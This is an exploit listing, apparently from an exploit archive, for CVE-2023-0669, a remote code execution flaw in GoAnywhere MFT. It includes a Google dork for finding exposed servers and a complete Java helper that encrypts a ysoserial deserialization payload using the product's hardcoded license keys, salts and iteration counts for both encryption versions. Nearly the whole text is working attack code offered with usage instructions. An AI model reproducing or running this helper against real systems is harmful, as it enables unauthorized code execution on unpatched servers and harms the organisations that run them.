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Goanywhere Encryption Helper 7.1.1 Remote Code Execution
Goanywhere Encryption Helper version 7.1.1 suffers from a remote code execution vulnerability.
// Exploit Title: Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE)// Google Dork: title:"GoAnywhere" // Date: 3/26/2023// Exploit Author: Youssef Muhammad// Vendor Homepage: https://www.goanywhere.com/// Software Link: https://www.dropbox.com/s/j31l8lgvapbopy3/ga7_0_3_linux_x64.sh?dl=0// Version: > 7.1.1 for windows / > 7.0.3 for Linux // Tested on: Windows, Linux// CVE : CVE-2023-0669// This script is needed to encrypt the serialized payload generated by the ysoserial tool in order to achieve Remote Code Execution import java.util.Base64;import javax.crypto.Cipher;import java.nio.charset.StandardCharsets;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.PBEKeySpec;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.nio.file.Files;import java.nio.file.Paths;public class CVE_2023_0669_helper { static String ALGORITHM = "AES/CBC/PKCS5Padding"; static byte[] KEY = new byte[30]; static byte[] IV = "AES/CBC/PKCS5Pad".getBytes(StandardCharsets.UTF_8); public static void main(String[] args) throws Exception { if (args.length != 2) { System.out.println("Usage: java CVE_2023_0669_helper <file_path> <version>"); System.exit(1); } String filePath = args[0]; String version = args[1]; byte[] fileContent = Files.readAllBytes(Paths.get(filePath)); String encryptedContent = encrypt(fileContent, version); System.out.println(encryptedContent); } public static String encrypt(byte[] data, String version) throws Exception { Cipher cipher = Cipher.getInstance(ALGORITHM); KEY = (version.equals("2")) ? getInitializationValueV2() : getInitializationValue(); SecretKeySpec keySpec = new SecretKeySpec(KEY, "AES"); IvParameterSpec ivSpec = new IvParameterSpec(IV); cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec); byte[] encryptedObject = cipher.doFinal(data); String bundle = Base64.getUrlEncoder().encodeToString(encryptedObject); String v = (version.equals("2")) ? "$2" : ""; bundle += v; return bundle; } private static byte[] getInitializationValue() throws Exception { // Version 1 Encryption String param1 = "go@nywhereLicenseP@$$wrd"; byte[] param2 = {-19, 45, -32, -73, 65, 123, -7, 85}; return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String(param1.getBytes(), "UTF-8").toCharArray(), param2, 9535, 256)).getEncoded(); } private static byte[] getInitializationValueV2() throws Exception { // Version 2 Encryption String param1 = "pFRgrOMhauusY2ZDShTsqq2oZXKtoW7R"; byte[] param2 = {99, 76, 71, 87, 49, 74, 119, 83, 109, 112, 50, 75, 104, 107, 56, 73}; return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String(param1.getBytes(), "UTF-8").toCharArray(), param2, 3392, 256)).getEncoded(); }}Related news
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